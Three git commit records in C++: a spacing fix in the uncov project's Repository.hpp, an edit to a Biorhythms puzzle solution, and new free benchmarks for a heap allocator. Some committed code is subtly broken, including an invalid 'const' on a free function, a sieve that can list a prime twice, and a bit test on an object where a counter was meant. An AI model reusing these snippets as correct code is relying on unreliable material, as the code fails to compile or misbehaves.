{"text":"<commit_before>\/\/ Copyright (C) 2016 xaizek <xaizek@openmailbox.org>\n\/\/\n\/\/ This file is part of uncov.\n\/\/\n\/\/ uncov is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Affero General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ uncov is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU Affero General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Affero General Public License\n\/\/ along with uncov.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#ifndef UNCOVER__REPOSITORY_HPP__\n#define UNCOVER__REPOSITORY_HPP__\n\n#include <string>\n#include <unordered_set>\n\nstruct git_repository;\nstruct git_tree;\n\nclass LibGitUser\n{\npublic:\n    LibGitUser();\n    LibGitUser(const LibGitUser &rhs) = delete;\n    LibGitUser &operator=(const LibGitUser &rhs) = delete;\n    ~LibGitUser();\n};\n\nclass Repository\n{\n    template <typename T>\n    class GitObjPtr;\n\npublic:\n    explicit Repository(const std::string &path);\n    Repository(const Repository &rhs) = delete;\n    Repository &operator=(const Repository &rhs) = delete;\n    ~Repository();\n\npublic:\n    std::string getGitPath() const;\n    std::string resolveRef(const std::string &ref) const;\n    std::unordered_set<std::string> listFiles(const std::string &ref) const;\n    std::string readFile(const std::string &ref, const std::string &path) const;\n\nprivate:\n    GitObjPtr<git_tree> getRefRoot(const std::string &ref) const;\n\npublic:\n    git_repository *repo;\n    const LibGitUser libgitUser;\n};\n\n#endif \/\/ UNCOVER__REPOSITORY_HPP__\n<commit_msg>Fix spacing bit in Repository.hpp<commit_after>\/\/ Copyright (C) 2016 xaizek <xaizek@openmailbox.org>\n\/\/\n\/\/ This file is part of uncov.\n\/\/\n\/\/ uncov is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Affero General Public License as published by\n\/\/ the Free Software Foundation, either version 3 of the License, or\n\/\/ (at your option) any later version.\n\/\/\n\/\/ uncov is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n\/\/ GNU Affero General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Affero General Public License\n\/\/ along with uncov.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#ifndef UNCOVER__REPOSITORY_HPP__\n#define UNCOVER__REPOSITORY_HPP__\n\n#include <string>\n#include <unordered_set>\n\nstruct git_repository;\nstruct git_tree;\n\nclass LibGitUser\n{\npublic:\n    LibGitUser();\n    LibGitUser(const LibGitUser &rhs) = delete;\n    LibGitUser & operator=(const LibGitUser &rhs) = delete;\n    ~LibGitUser();\n};\n\nclass Repository\n{\n    template <typename T>\n    class GitObjPtr;\n\npublic:\n    explicit Repository(const std::string &path);\n    Repository(const Repository &rhs) = delete;\n    Repository & operator=(const Repository &rhs) = delete;\n    ~Repository();\n\npublic:\n    std::string getGitPath() const;\n    std::string resolveRef(const std::string &ref) const;\n    std::unordered_set<std::string> listFiles(const std::string &ref) const;\n    std::string readFile(const std::string &ref, const std::string &path) const;\n\nprivate:\n    GitObjPtr<git_tree> getRefRoot(const std::string &ref) const;\n\npublic:\n    git_repository *repo;\n    const LibGitUser libgitUser;\n};\n\n#endif \/\/ UNCOVER__REPOSITORY_HPP__\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *1006:   Biorhythms\n *\n *Description:\n *Some people believe that there are three cycles in a person's life that start the day he or she is born.\n *These three cycles are the physical, emotional, and intellectual cycles, and they have periods of lengths\n *23, 28, and 33 days, respectively. There is one peak in each period of a cycle. At the peak of a cycle,\n *a person performs at his or her best in the corresponding field (physical, emotional or mental). For example,\n *if it is the mental curve, thought processes will be sharper and concentration will be easier. Since the \n *three cycles have different periods, the peaks of the three cycles generally occur at different times. We\n *would like to determine when a triple peak occurs (the peaks of all three cycles occur in the same day) for\n *any person. For each cycle, you will be given the number of days from the beginning of the current year at\n *which one of its peaks (not necessarily the first) occurs. You will also be given a date expressed as the \n *number of days from the beginning of the current year. You task is to determine the number of days from the \n *given date to the next triple peak. The given date is not counted. For example, if the given date is 10 and \n *the next triple peak occurs on day 12, the answer is 2, not 3. If a triple peak occurs on the given date, you \n *should give the number of days to the next occurrence of a triple peak. \n *\n *Input:\n *You will be given a number of cases. The input for each case consists of one line of four integers p, e, i, \n *and d. The values p, e, and i are the number of days from the beginning of the current year at which the\n *physical, emotional, and intellectual cycles peak, respectively. The value d is the given date and may be \n *smaller than any of p, e, or i. All values are non-negative and at most 365, and you may assume that a triple\n *peak will occur within 21252 days of the given date. The end of input is indicated by a line in which p = e \n *= i = d = -1.\n *Output:\n *For each test case, print the case number followed by a message indicating the number of days to the next triple\n *peak, in the form: \n *Case 1: the next triple peak occurs in 1234 days. \n *Use the plural form ``days'' even if the answer is 1.\n *\n *Sample Input:\n *   0 0 0 0\n *   0 0 0 100\n *   5 20 34 325\n *   4 5 6 7\n *   283 102 23 320\n *   203 301 203 40\n *   -1 -1 -1 -1\n *Sample Output:\n *   Case 1: the next triple peak occurs in 21252 days.\n *   Case 2: the next triple peak occurs in 21152 days.\n *   Case 3: the next triple peak occurs in 19575 days.\n *   Case 4: the next triple peak occurs in 16994 days.\n *   Case 5: the next triple peak occurs in 8910 days.\n *   Case 6: the next triple peak occurs in 10789 days.\n **************************************************************************************************************\n *Particularly,notice the following edge cases:\n *   24 29 34 0    (The answer should be 1)\n *   24 29 34 1    (The answer should be 21252)\n*\/\n\n#include <iostream>\nusing std::cin;\nusing std::cout;\nusing std::endl;\n\nstruct Case\n{\n\tint p, e, i, d;\n};\n\nbool is_end(Case input)\n{\n\tif (input.p == -1 && input.e == -1 && input.i == -1 && input.d == -1)\n\t\treturn true;\n\telse\n\t\treturn false;\n}\n\nint ocurrance(Case input)\n{\n\tint m;\n\tunsigned occur;                        \n\t\/\/d+occur=i+33*m=e+28*n=p+23*l, ocr>0\n\t\/\/Get the minimun of min to keep occur positive\n\tm = (input.d - input.i) > 0 ?(input.d - input.i) \/ 33 + 1 : \n\t                             (input.d - input.i) \/ 33;  \/\/Do not neglect negative integral divisions\n\tfor (; m < 28 * 23; ++m)\n\t{\n\t\tif ((input.i + 33 * m - input.e) % 28 == 0\n\t\t\t&& (input.i + 33 * m - input.p) % 23 == 0)\n\t\t{\n\t\t\toccur = (input.i - input.d + 33 * m);\n\t\t\tif (occur == 0)                         \/\/Get the NEXT one\n\t\t\t\treturn 23 * 28 * 33;\n\t\t\telse\n\t\t\t\treturn occur;\n\t\t}\n\t}\n\treturn (23 * 28 * 33 + input.i - input.d);\n}\n\nint main()\n{\n\tCase CaseVal;\n\tint cnt = 1;\n\twhile (cin >> CaseVal.p >> CaseVal.e >> CaseVal.i >> CaseVal.d)\n\t{\n\t\tif (is_end(CaseVal))\n\t\t\treturn 0;\n\t\telse\n\t\t{\n\t\t\tcout << \"Case \" << cnt << \": the next triple peak occurs in \"\n\t\t\t\t<< ocurrance(CaseVal) << \" days.\" << endl;\n\t\t\t++cnt;\n\t\t}\n\t}\n\treturn 0;\n}\n<commit_msg>Update 1006_Biorhythms.cpp<commit_after>\/*\n *1006:   Biorhythms\n *\n *Description:\n *Some people believe that there are three cycles in a person's life that start the day he or she is born.\n *These three cycles are the physical, emotional, and intellectual cycles, and they have periods of lengths\n *23, 28, and 33 days, respectively. There is one peak in each period of a cycle. At the peak of a cycle,\n *a person performs at his or her best in the corresponding field (physical, emotional or mental). For example,\n *if it is the mental curve, thought processes will be sharper and concentration will be easier. Since the \n *three cycles have different periods, the peaks of the three cycles generally occur at different times. We\n *would like to determine when a triple peak occurs (the peaks of all three cycles occur in the same day) for\n *any person. For each cycle, you will be given the number of days from the beginning of the current year at\n *which one of its peaks (not necessarily the first) occurs. You will also be given a date expressed as the \n *number of days from the beginning of the current year. You task is to determine the number of days from the \n *given date to the next triple peak. The given date is not counted. For example, if the given date is 10 and \n *the next triple peak occurs on day 12, the answer is 2, not 3. If a triple peak occurs on the given date, you \n *should give the number of days to the next occurrence of a triple peak. \n *\n *Input:\n *You will be given a number of cases. The input for each case consists of one line of four integers p, e, i, \n *and d. The values p, e, and i are the number of days from the beginning of the current year at which the\n *physical, emotional, and intellectual cycles peak, respectively. The value d is the given date and may be \n *smaller than any of p, e, or i. All values are non-negative and at most 365, and you may assume that a triple\n *peak will occur within 21252 days of the given date. The end of input is indicated by a line in which p = e \n *= i = d = -1.\n *Output:\n *For each test case, print the case number followed by a message indicating the number of days to the next triple\n *peak, in the form: \n *Case 1: the next triple peak occurs in 1234 days. \n *Use the plural form ``days'' even if the answer is 1.\n *\n *Sample Input:\n *   0 0 0 0\n *   0 0 0 100\n *   5 20 34 325\n *   4 5 6 7\n *   283 102 23 320\n *   203 301 203 40\n *   -1 -1 -1 -1\n *Sample Output:\n *   Case 1: the next triple peak occurs in 21252 days.\n *   Case 2: the next triple peak occurs in 21152 days.\n *   Case 3: the next triple peak occurs in 19575 days.\n *   Case 4: the next triple peak occurs in 16994 days.\n *   Case 5: the next triple peak occurs in 8910 days.\n *   Case 6: the next triple peak occurs in 10789 days.\n **************************************************************************************************************\n *Particularly,notice the following edge cases:\n *   24 29 34 0    (The answer should be 1)\n *   24 29 34 1    (The answer should be 21252)\n*\/\n\n#include <iostream>\nusing std::cin;\nusing std::cout;\nusing std::endl;\n\nstruct Case\n{\n\tint p, e, i, d;\n};\n\nbool is_end(const Case &input) const\n{\n\tif (input.p == -1 && input.e == -1 && input.i == -1 && input.d == -1)\n\t\treturn true;\n\telse\n\t\treturn false;\n}\n\nint ocurrance(Case input)\n{\n\tint m;\n\tunsigned occur;                        \n\t\/\/d+occur=i+33*m=e+28*n=p+23*l, ocr>0\n\t\/\/Get the minimun of min to keep occur positive\n\tm = (input.d - input.i) > 0 ?(input.d - input.i) \/ 33 + 1 : \n\t                             (input.d - input.i) \/ 33;  \/\/Do not neglect negative integral divisions\n\tfor (; m < 28 * 23; ++m)\n\t{\n\t\tif ((input.i + 33 * m - input.e) % 28 == 0\n\t\t\t&& (input.i + 33 * m - input.p) % 23 == 0)\n\t\t{\n\t\t\toccur = (input.i - input.d + 33 * m);\n\t\t\tif (occur == 0)                         \/\/Get the NEXT one\n\t\t\t\treturn 23 * 28 * 33;\n\t\t\telse\n\t\t\t\treturn occur;\n\t\t}\n\t}\n\treturn (23 * 28 * 33 + input.i - input.d);\n}\n\nint main()\n{\n\tCase CaseVal;\n\tint cnt = 1;\n\twhile (cin >> CaseVal.p >> CaseVal.e >> CaseVal.i >> CaseVal.d)\n\t{\n\t\tif (is_end(CaseVal))\n\t\t\treturn 0;\n\t\telse\n\t\t{\n\t\t\tcout << \"Case \" << cnt << \": the next triple peak occurs in \"\n\t\t\t\t<< ocurrance(CaseVal) << \" days.\" << endl;\n\t\t\t++cnt;\n\t\t}\n\t}\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ AATreePlayground.cpp : Defines the entry point for the console application.\n\/\/\n\n#include \"stdafx.h\"\n\n#include <stdexcept>\n#include <cstdint>\n#include <cassert>\n#include <algorithm>\n#include <chrono>\n#include <iostream>\n#include <vector>\n#include <functional>\n\n#include \"SplayHeap.h\"\n#include \"ListHeap.h\"\n\nstatic const size_t HEAP_SIZE = 1024 * 1024 * 32; \/\/ 32MB heap\nstatic const size_t ALLOC_SIZE = 1024;\nstatic const size_t CHUNKS = HEAP_SIZE \/ 16;\n\nstatic const size_t RUNS = 5;\nstatic const size_t WARMUP_RUNS = 2;\n\nconst char * const GetTypeString(const ListHeap&)\n{\n\treturn \"ListHeap\";\n}\n\nconst char * const GetTypeString(const SplayHeap&)\n{\n\treturn \"SplayHeap\";\n}\n\n\ntemplate <typename T>\nvoid PureAllocationBenchmark(T& heap)\n{\n\tstd::vector<DefraggablePointerControlBlock> blas;\n\tblas.reserve(CHUNKS \/ 2);\n\n\tauto pre_benchmark = [&](){};\n\n\tauto benchmark = [&]()\n\t{\n\t\t\/\/ Allocate ALLOC_SIZES until we fail\n\t\twhile (auto alloc = heap.Allocate(ALLOC_SIZE))\n\t\t\tblas.push_back(std::move(alloc));\n\n\t};\n\n\tauto post_benchmark = [&]()\n\t{\n\t\t\/\/ Return all allocated data to the heap\n\t\tfor (auto &i : blas)\n\t\t\theap.Free(i);\n\n\t\t\/\/ Clear blas\n\t\tblas.clear();\n\t};\n\n\t\/\/ Do two warmup runs of the benchmark\n\tfor (auto i = 0U; i < WARMUP_RUNS; i++)\n\t{\n\t\tpre_benchmark();\n\t\tbenchmark();\n\t\tpost_benchmark();\n\t}\n\n\t\/\/ Run the actual benchmark\n\tstd::vector<size_t> time_log; \n\tfor (auto i = 0U; i < RUNS; i++)\n\t{\n\t\tpre_benchmark();\n\n\t\tauto start_time = std::chrono::high_resolution_clock::now();\n\n\t\tbenchmark();\n\n\t\tauto end_time = std::chrono::high_resolution_clock::now();\n\n\t\ttime_log.push_back(std::chrono::duration_cast<std::chrono::nanoseconds>(end_time - start_time).count());\n\n\t\tpost_benchmark();\n\t}\n\n\t\/\/ Display results\n\tstd::cout << \"----- Pure Allocation Benchmark -----\" << std::endl << std::endl;;\n\tstd::cout << std::endl << \"Heap Type: \" << GetTypeString(heap) << std::endl << std::endl;\n\n\tfor (auto i = 0U; i < RUNS; i++)\n\t\tstd::cout << \"Run \" << i << \": \" << time_log[i] << \"ns\" << std::endl << std::endl;\n\n\tsize_t sum = 0;\n\tfor (auto i : time_log)\n\t\tsum += i;\n\tsum \/= RUNS;\n\n\tstd::cout << \"Average : \" << sum << \"ns\" << std::endl << std::endl;\n\n\tstd::cout << \"-------------------------------------\" << std::endl << std::endl;\n}\n\ntemplate <typename T>\nvoid FullDefragBenchmark(T& heap)\n{\n\tstd::vector<DefraggablePointerControlBlock> blas;\n\tblas.reserve(CHUNKS \/ 2);\n\n\tauto pre_benchmark = [&]()\n\t{\n\t\t\/\/ Allocate ALLOC_SIZES until we fail\n\t\twhile (auto alloc = heap.Allocate(ALLOC_SIZE))\n\t\t\tblas.push_back(std::move(alloc));\n\n\t\t\/\/ Free every second block to maximize fragmentation\n\t\tsize_t c = 0;\n\t\tfor (auto& i : blas)\n\t\t{\n\t\t\tif ((c & 1) == 0)\n\t\t\t{\n\t\t\t\theap.Free(i);\n\t\t\t}\n\n\t\t\tc++;\n\t\t}\n\t};\n\n\tauto benchmark = [&]()\n\t{\n\t\theap.FullDefrag();\n\t};\n\n\tauto post_benchmark = [&]()\n\t{\n\t\t\/\/ Return all allocated data to the heap\n\t\tsize_t c = 0;\n\t\tfor (auto &i : blas)\n\t\t{\n\t\t\tif ((i & 1) == 1)\n\t\t\t{\n\t\t\t\theap.Free(i);\n\t\t\t}\n\n\t\t\tc++;\n\t\t}\n\n\t\t\/\/ Clear blas\n\t\tblas.clear();\n\t};\n\n\t\/\/ Do two warmup runs of the benchmark\n\tfor (auto i = 0U; i < WARMUP_RUNS; i++)\n\t{\n\t\tpre_benchmark();\n\t\tbenchmark();\n\t\tpost_benchmark();\n\t}\n\n\t\/\/ Run the actual benchmark\n\tstd::vector<size_t> time_log;\n\tfor (auto i = 0U; i < RUNS; i++)\n\t{\n\t\tpre_benchmark();\n\n\t\tauto start_time = std::chrono::high_resolution_clock::now();\n\n\t\tbenchmark();\n\n\t\tauto end_time = std::chrono::high_resolution_clock::now();\n\n\t\ttime_log.push_back(std::chrono::duration_cast<std::chrono::nanoseconds>(end_time - start_time).count());\n\n\t\tpost_benchmark();\n\t}\n\n\t\/\/ Display results\n\tstd::cout << \"----- Full Defragmentation Benchmark -----\" << std::endl << std::endl;;\n\tstd::cout << std::endl << \"Heap Type: \" << GetTypeString(heap) << std::endl << std::endl;\n\n\tfor (auto i = 0U; i < RUNS; i++)\n\t\tstd::cout << \"Run \" << i << \": \" << time_log[i] << \"ns\" << std::endl << std::endl;\n\n\tsize_t sum = 0;\n\tfor (auto i : time_log)\n\t\tsum += i;\n\tsum \/= RUNS;\n\n\tstd::cout << \"Average : \" << sum << \"ns\" << std::endl << std::endl;\n\n\tstd::cout << \"-------------------------------------\" << std::endl << std::endl;\n}\n\n\nint _tmain(int argc, _TCHAR* argv[])\n{\n\tstd::cout << \"System ticks per second: \" << std::chrono::high_resolution_clock::period::den << std::endl << std::endl;\n\n\tListHeap list(HEAP_SIZE);\n\tSplayHeap splay(HEAP_SIZE);\n\n\t\/** \n\t\t--- Pure Allocate Benchmark ---\n\n\t\tBenchmarks the performance of the Allocate function for the heaps.\n\t**\/\n\tPureAllocationBenchmark(list);\n\tPureAllocationBenchmark(splay);\n\n\t\/**\n\t\t--- Full Defragmentation Benchmark ---\n\n\t\tBenchmarks the performance of the Fully Defragment function for the heaps.\n\t**\/\n\tFullDefragBenchmark(list);\n\tFullDefragBenchmark(splay);\n\n\treturn 0;\n}\n\n<commit_msg>Added free benchmarks<commit_after>\/\/ AATreePlayground.cpp : Defines the entry point for the console application.\n\/\/\n\n#include \"stdafx.h\"\n\n#include <stdexcept>\n#include <cstdint>\n#include <cassert>\n#include <algorithm>\n#include <chrono>\n#include <iostream>\n#include <vector>\n#include <functional>\n\n#include \"SplayHeap.h\"\n#include \"ListHeap.h\"\n\nstatic const size_t HEAP_SIZE = 1024 * 1024 * 32; \/\/ 32MB heap\nstatic const size_t ALLOC_SIZE = 1024;\nstatic const size_t CHUNKS = HEAP_SIZE \/ 16;\n\nstatic const size_t RUNS = 5;\nstatic const size_t WARMUP_RUNS = 2;\n\nconst char * const GetTypeString(const ListHeap&)\n{\n\treturn \"ListHeap\";\n}\n\nconst char * const GetTypeString(const SplayHeap&)\n{\n\treturn \"SplayHeap\";\n}\n\nstd::vector<uint32_t> EratosthenesSieve(uint32_t upper_bound) \n{\n\t\/\/ Our list of from numbers\n\tstd::vector<uint32_t> res;\n\n\t\/\/ Initialize the composite memoization array to false\n\tstd::vector<bool> is_composite;\n\tfor (uint32_t i = 0; i <= upper_bound + 1; i++)\n\t\tis_composite.push_back(0);\n\n\t\/\/ Calculate sqr for sqr optimization\n\tuint32_t sqr = uint32_t(sqrt((double)upper_bound));\n\n\t\/\/ Run the sieve of eratosthenes up to the square root of the upper bound\n\tfor (int m = 2; m <= sqr; m++) {\n\t\t\/\/ If we have not visited this number before, we are prime\n\t\tif (!is_composite[m]) {\n\t\t\t\n\t\t\t\/\/ Add prime number to output list\n\t\t\tres.push_back(m);\n\n\t\t\t\/\/ Mark all composites of this prime\n\t\t\tfor (int k = m * m; k <= upper_bound; k += m)\n\t\t\t\tis_composite[k] = true;\n\t\t}\n\t}\n\n\t\/\/ We have covered all composite numbers, add remaining primes to the output list\n\tfor (int m = sqr; m <= upper_bound; m++)\n\t\tif (!is_composite[m])\n\t\t\tres.push_back(m);\n\n\treturn res;\n}\n\ntemplate <typename T>\nvoid PureAllocationBenchmark(T& heap)\n{\n\tstd::vector<DefraggablePointerControlBlock> blas;\n\tblas.reserve(CHUNKS \/ 2);\n\n\tauto pre_benchmark = [&](){};\n\n\tauto benchmark = [&]()\n\t{\n\t\t\/\/ Allocate ALLOC_SIZES until we fail\n\t\twhile (auto alloc = heap.Allocate(ALLOC_SIZE))\n\t\t\tblas.push_back(std::move(alloc));\n\n\t};\n\n\tauto post_benchmark = [&]()\n\t{\n\t\t\/\/ Return all allocated data to the heap\n\t\tfor (auto &i : blas)\n\t\t\theap.Free(i);\n\n\t\t\/\/ Clear blas\n\t\tblas.clear();\n\t};\n\n\t\/\/ Do two warmup runs of the benchmark\n\tfor (auto i = 0U; i < WARMUP_RUNS; i++)\n\t{\n\t\tpre_benchmark();\n\t\tbenchmark();\n\t\tpost_benchmark();\n\t}\n\n\t\/\/ Run the actual benchmark\n\tstd::vector<size_t> time_log; \n\tfor (auto i = 0U; i < RUNS; i++)\n\t{\n\t\tpre_benchmark();\n\n\t\tauto start_time = std::chrono::high_resolution_clock::now();\n\n\t\tbenchmark();\n\n\t\tauto end_time = std::chrono::high_resolution_clock::now();\n\n\t\ttime_log.push_back(std::chrono::duration_cast<std::chrono::nanoseconds>(end_time - start_time).count());\n\n\t\tpost_benchmark();\n\t}\n\n\t\/\/ Display results\n\tstd::cout << \"----- Pure Allocation Benchmark -----\" << std::endl << std::endl;;\n\tstd::cout << std::endl << \"Heap Type: \" << GetTypeString(heap) << std::endl << std::endl;\n\n\tfor (auto i = 0U; i < RUNS; i++)\n\t\tstd::cout << \"Run \" << i << \": \" << time_log[i] << \"ns\" << std::endl << std::endl;\n\n\tsize_t sum = 0;\n\tfor (auto i : time_log)\n\t\tsum += i;\n\tsum \/= RUNS;\n\n\tstd::cout << \"Average : \" << sum << \"ns\" << std::endl << std::endl;\n\n\tstd::cout << \"-------------------------------------\" << std::endl << std::endl;\n}\n\ntemplate <typename T>\nvoid PureFreeBenchmark(T& heap)\n{\n\tstd::vector<DefraggablePointerControlBlock> blas;\n\tblas.reserve(CHUNKS \/ 2);\n\n\tauto pre_benchmark = [&](){\n\t\t\/\/ Allocate ALLOC_SIZES until we fail\n\t\twhile (auto alloc = heap.Allocate(ALLOC_SIZE))\n\t\t\tblas.push_back(std::move(alloc)); \n\t};\n\n\tauto benchmark = [&]()\n\t{\n\t\t\/\/ Return all allocated data to the heap\n\t\tfor (auto &i : blas)\n\t\t\theap.Free(i);\n\t};\n\n\tauto post_benchmark = [&]()\n\t{\n\t\t\/\/ Clear blas\n\t\tblas.clear();\n\t};\n\n\t\/\/ Do two warmup runs of the benchmark\n\tfor (auto i = 0U; i < WARMUP_RUNS; i++)\n\t{\n\t\tpre_benchmark();\n\t\tbenchmark();\n\t\tpost_benchmark();\n\t}\n\n\t\/\/ Run the actual benchmark\n\tstd::vector<size_t> time_log;\n\tfor (auto i = 0U; i < RUNS; i++)\n\t{\n\t\tpre_benchmark();\n\n\t\tauto start_time = std::chrono::high_resolution_clock::now();\n\n\t\tbenchmark();\n\n\t\tauto end_time = std::chrono::high_resolution_clock::now();\n\n\t\ttime_log.push_back(std::chrono::duration_cast<std::chrono::nanoseconds>(end_time - start_time).count());\n\n\t\tpost_benchmark();\n\t}\n\n\t\/\/ Display results\n\tstd::cout << \"----- Pure Free Benchmark -----\" << std::endl << std::endl;;\n\tstd::cout << std::endl << \"Heap Type: \" << GetTypeString(heap) << std::endl << std::endl;\n\n\tfor (auto i = 0U; i < RUNS; i++)\n\t\tstd::cout << \"Run \" << i << \": \" << time_log[i] << \"ns\" << std::endl << std::endl;\n\n\tsize_t sum = 0;\n\tfor (auto i : time_log)\n\t\tsum += i;\n\tsum \/= RUNS;\n\n\tstd::cout << \"Average : \" << sum << \"ns\" << std::endl << std::endl;\n\n\tstd::cout << \"-------------------------------------\" << std::endl << std::endl;\n}\n\ntemplate <typename T>\nvoid PrimeStrideFreeBenchmark(T& heap)\n{\n\tstd::vector<DefraggablePointerControlBlock> blas;\n\tblas.reserve(CHUNKS \/ 2);\n\tconst auto primes = EratosthenesSieve(CHUNKS \/ 2);\n\n\tauto pre_benchmark = [&](){\n\t\t\/\/ Allocate ALLOC_SIZES until we fail\n\t\twhile (auto alloc = heap.Allocate(ALLOC_SIZE))\n\t\t\tblas.push_back(std::move(alloc));\n\t};\n\n\tauto benchmark = [&]()\n\t{\n\t\t\/\/ Free the first 2 items (non prime numbers)\n\t\theap.Free(blas[0]);\n\t\theap.Free(blas[1]);\n\n\t\t\/\/ For every prime\n\t\tfor (auto p : primes)\n\t\t{\n\t\t\tif (p < blas.size())\n\t\t\t{\n\t\t\t\t\/\/ Return all allocated data to the heap in the strie\n\t\t\t\tfor (auto i = p; i < blas.size(); i += p)\n\t\t\t\t\theap.Free(blas[i]);\n\t\t\t}\n\t\t}\n\t};\n\n\tauto post_benchmark = [&]()\n\t{\n\t\t\/\/ Clear blas\n\t\tblas.clear();\n\t};\n\n\t\/\/ Do two warmup runs of the benchmark\n\tfor (auto i = 0U; i < WARMUP_RUNS; i++)\n\t{\n\t\tstd::cout << \"-------------------------------------\" << std::endl << std::endl;\n\t\tpre_benchmark();\n\t\tbenchmark();\n\t\tpost_benchmark();\n\t}\n\n\t\/\/ Run the actual benchmark\n\tstd::vector<size_t> time_log;\n\tfor (auto i = 0U; i < RUNS; i++)\n\t{\n\t\tpre_benchmark();\n\n\t\tauto start_time = std::chrono::high_resolution_clock::now();\n\n\t\tbenchmark();\n\n\t\tauto end_time = std::chrono::high_resolution_clock::now();\n\n\t\ttime_log.push_back(std::chrono::duration_cast<std::chrono::nanoseconds>(end_time - start_time).count());\n\n\t\tpost_benchmark();\n\t}\n\n\t\/\/ Display results\n\tstd::cout << \"----- Prime Stride Free Benchmark -----\" << std::endl << std::endl;;\n\tstd::cout << std::endl << \"Heap Type: \" << GetTypeString(heap) << std::endl << std::endl;\n\n\tfor (auto i = 0U; i < RUNS; i++)\n\t\tstd::cout << \"Run \" << i << \": \" << time_log[i] << \"ns\" << std::endl << std::endl;\n\n\tsize_t sum = 0;\n\tfor (auto i : time_log)\n\t\tsum += i;\n\tsum \/= RUNS;\n\n\tstd::cout << \"Average : \" << sum << \"ns\" << std::endl << std::endl;\n\n\tstd::cout << \"-------------------------------------\" << std::endl << std::endl;\n}\n\ntemplate <typename T>\nvoid FullDefragBenchmark(T& heap)\n{\n\tstd::vector<DefraggablePointerControlBlock> blas;\n\tblas.reserve(CHUNKS \/ 2);\n\n\tauto pre_benchmark = [&]()\n\t{\n\t\t\/\/ Allocate ALLOC_SIZES until we fail\n\t\twhile (auto alloc = heap.Allocate(ALLOC_SIZE))\n\t\t\tblas.push_back(std::move(alloc));\n\n\t\t\/\/ Free every second block to maximize fragmentation\n\t\tsize_t c = 0;\n\t\tfor (auto& i : blas)\n\t\t{\n\t\t\tif ((c & 1) == 0)\n\t\t\t{\n\t\t\t\theap.Free(i);\n\t\t\t}\n\n\t\t\tc++;\n\t\t}\n\t};\n\n\tauto benchmark = [&]()\n\t{\n\t\theap.FullDefrag();\n\t};\n\n\tauto post_benchmark = [&]()\n\t{\n\t\t\/\/ Return all allocated data to the heap\n\t\tsize_t c = 0;\n\t\tfor (auto &i : blas)\n\t\t{\n\t\t\tif ((i & 1) == 1)\n\t\t\t{\n\t\t\t\theap.Free(i);\n\t\t\t}\n\n\t\t\tc++;\n\t\t}\n\n\t\t\/\/ Clear blas\n\t\tblas.clear();\n\t};\n\n\t\/\/ Do two warmup runs of the benchmark\n\tfor (auto i = 0U; i < WARMUP_RUNS; i++)\n\t{\n\t\tpre_benchmark();\n\t\tbenchmark();\n\t\tpost_benchmark();\n\t}\n\n\t\/\/ Run the actual benchmark\n\tstd::vector<size_t> time_log;\n\tfor (auto i = 0U; i < RUNS; i++)\n\t{\n\t\tpre_benchmark();\n\n\t\tauto start_time = std::chrono::high_resolution_clock::now();\n\n\t\tbenchmark();\n\n\t\tauto end_time = std::chrono::high_resolution_clock::now();\n\n\t\ttime_log.push_back(std::chrono::duration_cast<std::chrono::nanoseconds>(end_time - start_time).count());\n\n\t\tpost_benchmark();\n\t}\n\n\t\/\/ Display results\n\tstd::cout << \"----- Full Defragmentation Benchmark -----\" << std::endl << std::endl;;\n\tstd::cout << std::endl << \"Heap Type: \" << GetTypeString(heap) << std::endl << std::endl;\n\n\tfor (auto i = 0U; i < RUNS; i++)\n\t\tstd::cout << \"Run \" << i << \": \" << time_log[i] << \"ns\" << std::endl << std::endl;\n\n\tsize_t sum = 0;\n\tfor (auto i : time_log)\n\t\tsum += i;\n\tsum \/= RUNS;\n\n\tstd::cout << \"Average : \" << sum << \"ns\" << std::endl << std::endl;\n\n\tstd::cout << \"-------------------------------------\" << std::endl << std::endl;\n}\n\n\nint _tmain(int argc, _TCHAR* argv[])\n{\n\tstd::cout << \"System ticks per second: \" << std::chrono::high_resolution_clock::period::den << std::endl << std::endl;\n\n\tListHeap list(HEAP_SIZE);\n\tSplayHeap splay(HEAP_SIZE);\n\n\t\/** \n\t\t--- Pure Allocate Benchmark ---\n\n\t\tBenchmarks the performance of the Allocate function for the heaps.\n\t**\/\n\t\/\/PureAllocationBenchmark(list);\n\t\/\/PureAllocationBenchmark(splay);\n\n\t\/**\n\t\t--- Full Defragmentation Benchmark ---\n\n\t\tBenchmarks the performance of the Fully Defragment function for the heaps.\n\t**\/\n\t\/\/FullDefragBenchmark(list);\n\t\/\/FullDefragBenchmark(splay);\n\n\t\/**\n\t\t--- Pure Free Benchmark ---\n\n\t\tBenchmarks the performance of the Free function for the heaps.\n\t**\/\n\t\/\/PureFreeBenchmark(list);\n\t\/\/PureFreeBenchmark(splay);\n\n\t\/**\n\t\t--- Prime Stride Free Benchmark ---\n\n\t\tBenchmarks the performance of the Free function for the heaps using prime strides.\n\t**\/\n\tPrimeStrideFreeBenchmark(list);\n\tPrimeStrideFreeBenchmark(splay);\n\n\treturn 0;\n}<|endoftext|>"}
